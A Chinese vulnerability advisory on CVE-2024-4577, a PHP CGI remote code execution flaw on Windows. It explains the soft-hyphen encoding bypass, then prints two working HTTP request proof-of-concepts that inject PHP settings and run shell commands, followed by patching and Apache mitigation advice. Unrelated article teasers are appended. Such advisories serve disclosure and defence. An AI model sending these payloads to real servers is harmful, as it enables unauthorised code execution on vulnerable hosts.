漏洞分析 | PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)

news2024/11/27 12:53:26

漏洞概述

PHP CGI(Common Gateway Interface)是在Windows平台上运行PHP的一种方式。CGI是一种标准接口,允许Web服务器与外部应用程序(如PHP脚本)进行交互,从而生成动态网页内容。

近期,PHP发布安全更新,修复了PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577),目前该漏洞的细节已公开。鉴于该漏洞易于利用,且可远程执行命令,建议所有受影响的企业尽快升级修复。

该漏洞产生的原因是绕过了CVE-2012-1823对字符"-"的过滤,忽视了Windows系统内部字符编码转换的Best-Fit特性,当PHP运行在Windows平台且使用繁体中文、简体中文、日语三种语言系统时,未经身份验证的攻击者可以构造恶意请求绕过PHP原本的安全限制,通过参数注入攻击在PHP服务器上远程执行任意代码。

受影响版本

PHP 8.3 < 8.3.8
PHP 8.2 < 8.2.20
PHP 8.1 < 8.1.29

受影响资产

该漏洞关联的web服务资产总数为134318个,独立IP数为61655个。

漏洞分析

回顾CVE-2012-1823漏洞,该漏洞是用户将HTTP请求参数提交至Apache服务器,通过mod_cgi模块交给php-cgi处理,从漏洞补丁可以看出,如果检测到字符串开头为"-"字符并且字符串不存在"="字符就设置skip_getopt = 1,那么整个查询字符串将作为CGI的参数进行传递,攻击者可以向后端的php-cgi解析程序提交恶意数据,php-cgi会将恶意数据当做php参数直接执行。

编码转换中的"Best-Fit"特性是指在将字符从一个字符编码转换到另一个字符编码时,如果目标编码中没有直接对应的字符,转换过程会尝试找到一个"最佳匹配"的字符来代替原始字符,而不是替换为一个错误字符或占位符字符。即使在目标编码系统中没有完全等价的字符,也能尽量保留原始文本的含义。

例如,Apache 会转义实际的连字符 0x2D,但不会转义“软连字符”0xAD。如果CGI 处理程序收到软连字符 (0xAD),CGI 处理程序将不会对其进行转义,而是会将其传递给 PHP。然而,PHP 会将“软连字符”解释为真正的连字符,这允许攻击者将以连字符开头的命令行参数传输到 PHP 进程。

对应的编码表信息https://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WindowsBestFit/bestfit936.txt

根据CVE-2024-4577漏洞修复的信息来看,在cgi_main.c文件中,在原来逻辑的基础上新增对Windows环境的判断,并使用WideCharToMultiByte函数对请求参数进行宽字节转换,将宽字符转换成多字节字符。

在原本的PHP代码当中,if(*p=='-'),过滤了'-'这个符号,在修复的代码中限制对0x80以上的字符来修复这个问题,并且从注释可以看出,如果get发送的请求字符串中不包含"=",那么Apache就会把请求作为cgi的参数传到命令行。但这会导致恶意请求的命令行参数传递给php,如果直接处理传参,那么会影响到以独立脚本方式运行的PHP脚本。所以只有当开头是'-'的时候才阻止传递参数。

并且xampp的默认配置中apache会把请求直接转发给php-cgi,

结合上述特征,当我们使用%ad来代替'-'时,可以绕过参数检测,构成参数注入(见下列poc)。

漏洞复现

1、漏洞环境,选择xampp_php/8.1.25

2、复现详情

poc1:

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
<?php echo shell_exec('dir');?>

查询参数:

%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input

查询参数会变成:

-d cgi.force_redirect=XCANWIN -d allow_url_include=on -d auto_prepend_file=php://input

在该查询参数中cgi.force_redirect 是 PHP 的一个配置指令,用于控制 PHP CGI 模式下的请求重定向行为。默认情况下,这个指令被设置为 1(即开启),在此处该指令设置为XCANWIN,表示已经通过了某种安全机制。将包含远程文件的函数allow_url_include设置为on,auto_prepend_file允许每个请求之前必须尝试从php://input读取数据并将其作为代码执行。
复现结果:

Poc2:

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

<?php die("Te"."sT");?>

查询参数

%add+ allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input

查询参数会变成:

-d allow_url_include=on -d auto_prepend_file=php://input

poc2对比poc1没有重定向配置cgi.force_redirect,而在请求头中定义REDIRECT-STATUS: XCANWIN,表示某种安全检测已经触发。查询参数中将包含远程文件的函数allow_url_include设置为on,auto_prepend_file允许每个请求之前必须尝试从php://input读取数据并将其作为代码执行。

复现结果:

修复方案

1.官方已发布新版本8.3.8、8.2.20、8.1.29
2.对于无法升级PHP的用户:
通过在Apache 服务器的配置文件中,添加以下规则来阻止攻击。需要注意的是,这些规则仅对繁体中文、简体中文和日语语言环境起到临时缓解作用。在实际操作中,仍然建议更新到补丁版本或迁移架构。

RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]

3.对于使用 XAMPP for Windows 的用户,如果确认不需要 PHP CGI 功能,可以通过修改以下 Apache HTTP Server 配置来避免受到该漏洞的影响
注释掉相应行:

# ScriptAlias /php-cgi/ "C:/xampp/php/"

4.PHP-CGI已经是一种过时且易出问题的架构,建议迁移至更为安全的Mod-PHP、FastCGI 或是 PHP-FPM 等架构。

产品支持

网宿全站防护-WAF已第一时间支持对该漏洞利用攻击的防护,并持续挖掘分析其他变种攻击方式和各类组件漏洞,第一时间上线防护规则,缩短防护“空窗期”。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1897185.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

HTTP代理服务器:深度解析与应用

“随着互联网的飞速发展&#xff0c;HTTP代理服务器在网络通信中扮演着越来越重要的角色。它们作为客户端和服务器之间的中介&#xff0c;不仅优化了网络性能&#xff0c;还提供了强大的安全性和隐私保护功能。” 一、HTTP代理服务器的概念与作用 HTTP代理服务器是一种能够接…

Butterfly主题一图流背景及文章顶部图修改

效果 将Butterfly主题改成一图流背景&#xff0c;并且将首页以外的顶部图移到标题下方显示。 主题配置 修改 Butterfly 的配置文件 _config.butterfly.yml。 编辑 index_img、background、footer_bg 选项。 设置网站背景&#xff0c;将主页顶部图和页脚背景改为透明。 # …

介绍 pg_later:受 Snowflake 启发的 Postgres 异步查询#postgresql认证

#PG培训#PG考试#postgresql培训#postgresql考试 为什么要使用异步查询&#xff1f; 想象一下&#xff0c;您启动了一项长期维护工作。您在执行过程中离开&#xff0c;但回来后发现&#xff0c;由于笔记本电脑关机&#xff0c;该工作在几个小时前就被中断了。您不希望这种情况…

蓝牙信标和蓝牙标签我们如何区分,区分方法有哪些?

蓝牙信标和蓝牙标签其实是两种不同的技术&#xff0c;很多人可能会把蓝牙信标和蓝牙标签搞混&#xff0c;因为区分不开来&#xff0c;但实际上&#xff0c;区分这两种技术也很简单&#xff0c;因为它们各自都有不一样的特性&#xff0c;通过这些特性&#xff0c;我们也能正常区…

MySQL数据库主从复制+mycat读写分离+MHA实操

目录 一、主从复制 1.1 主从复制简介 1.2 MySQL支持的复制类型 1.3 主从复制的工作过程 1.4 主从复制的同步模式 1.4.1 异步复制&#xff08;Asynchronous replication&#xff09; 1.4.2 全同步复制&#xff08;Fully synchronous replication&#xff09; 1.4.3 半同…

【kubectl详解】最全的kubectl命令用法

文章目录 简介一.命令帮助翻译1.1.基本命令&#xff08;初学者&#xff09;&#xff1a;1.2.基本命令&#xff08;中级&#xff09;&#xff1a;1.3.部署命令&#xff1a;1.4.群集管理命令&#xff1a;1.5.疑难解答和调试命令&#xff1a;1.6.高级命令&#xff1a;1.7.设置命令…

推荐的一键下载1688高保真原图信息

图片在电商中扮演着至关重要的角色。高质量的商品图片能够直观展示产品特性&#xff0c;吸引消费者注意力&#xff0c;提升购买欲望。良好的视觉呈现还能增强品牌形象&#xff0c;提高转化率。此外&#xff0c;图片是跨语言的沟通方式&#xff0c;能够克服语言障碍&#xff0c;…

空调计费系统是什么,你知道吗

空调计费系统是一种通过对使用空调的时间和能源消耗进行监测和计量来进行费用计算的系统。它广泛应用于各种场所&#xff0c;如家庭、办公室、商场等&#xff0c;为用户提供了方便、准确的能源使用管理和费用控制。 可实现功能 智能计费&#xff1a;中央空调分户计费系统通过智…

【网工】关于链路聚合、静态路由、单臂路由的一个小实验

最近刚考完期末放暑假&#xff0c;那几天没看csdn结果有个朋友发了这样一个实验&#xff1a; 虽然晚了点 也不知道这位朋友还需不需要 但还是弄了出来 分享给大家 一起学习 下面是一些关键配置代码参考

Android AlertDialog对话框

目录 AlertDialog对话框普通对话框单选框多选框自定义框 AlertDialog对话框 部分节选自博主编《Android应用开发项目式教程》&#xff08;机械工业出版社&#xff09;2024.6 在Android中&#xff0c;AlertDialog弹出对话框用于显示一些重要信息或者需要用户交互的内容。 弹出…

基于DMAIC降低气缸体水套芯磕碰伤率

在制造业的激烈竞争中&#xff0c;产品质量的提升一直是企业追求的目标。气缸体作为汽车发动机的核心部件&#xff0c;其生产过程中的质量控制尤为重要。今天&#xff0c;深圳天行健企业管理咨询公司就来分享一下如何运用DMAIC&#xff08;定义、测量、分析、改进、控制&#x…

IDC:奇安信、深信服、安恒、绿盟、斗象组成了中国NDR市场的主要玩家

2024 年 6 月 20 日&#xff0c;IDC 正式发布了针对中国网络威胁检测与响应产品的市场份额研究报告——《中国网络威胁检测与响应市场份额&#xff0c;2023&#xff1a;NDR正在向更多技术栈延伸》&#xff08;2024年6月&#xff09;。报告针对2023年中国网络威胁检测与响应市场…

STMCUBEMX_IIC_LL库_AT24C64分页读取和写入

STMCUBEMX_IIC_LL库_AT24C64分页读取和写入 前言&#xff1a; 一个项目中构建的软件系统需要存储非常多的用户参数&#xff0c;大约有几千字节&#xff0c;所以牵扯到自己设计跨页写入算法&#xff0c;注意读出也是需要设计跨页读出算法的&#xff08;手册没强调&#xff0c;但…

App Store迎来了重磅更新,ASO冲榜优化或将成为不可或缺的一部分

近日App Store搜索页面迎来了重磅更新&#xff0c;苹果应用商店中搜索页面原有的热搜关键词消失了取而代之的是直接将排行榜放在了搜索顶部&#xff0c;分别是APP排行和游戏排行两部分。如下图&#xff1a; 很多人应该都是参考排行榜来下载APP的&#xff0c;这次更新之后用户在…

创维汽车开展年中总结会:创新创造·勇开拓 智慧经营·攀高峰

2024年7月3日&#xff0c;回顾上半年的工作成果&#xff0c;总结经验教训&#xff0c;明确下半年的发展方向和重点任务&#xff0c;创维汽车于山西省晋中市榆次区山西联合创维体验中心开展年中总结会。 创维集团、创维汽车创始人黄宏生&#xff1b;开沃集团联合创始人、首席执…

160行代码实现代码雨效果

效果 序言 很喜欢黑客帝国里面那种代码雨的效果&#xff0c;为了锻炼自己的特效编写能力就尝试了一下&#xff0c;花了一下午写出来了。有需要的小伙伴拿去参考. 代码 package com.zgh.myapplication;import android.content.Context; import android.graphics.Canvas; impo…

PLM系统:PLM系统如何重塑产品生命周期管理

PLM系统&#xff1a;重塑产品生命周期管理的未来 在当今快速变化的商业环境中&#xff0c;产品生命周期管理&#xff08;PLM&#xff09;系统正逐渐成为企业提升竞争力、加速创新并优化运营流程的关键工具。随着技术的不断进步和市场需求的日益复杂化&#xff0c;传统的手动或…

视创云展线上虚拟展厅的优势与特点

一、线上虚拟展厅的无限魅力 1、沉浸式体验&#xff0c;跨越时空界限 视创云展线上虚拟展厅借助前沿的虚拟现实技术&#xff0c;为参观者打造了一场跨越物理界限的奇妙之旅。无论身处世界的哪个角落&#xff0c;只需轻点鼠标&#xff0c;即可瞬间“穿越”至展览现场&#xff…

“免费”的可视化大屏案例分享-智慧园区综合管理平台

一.智慧园区是什么&#xff1f; 智慧园区是一种融合了新一代信息与通信技术的先进园区发展理念。它通过迅捷信息采集、高速信息传输、高度集中计算、智能事务处理和无所不在的服务提供能力&#xff0c;实现了园区内及时、互动、整合的信息感知、传递和处理。这样的园区旨在提高…

Python爬虫康复训练——笔趣阁《神魂至尊》

还是话不多说&#xff0c;很久没写爬虫了&#xff0c;来个bs4康复训练爬虫&#xff0c;正好我最近在看《神魂至尊》&#xff0c;爬个txt文件下来看看 直接上代码 """ 神魂至尊网址-https://www.bqgui.cc/book/1519/ """ import requests from b…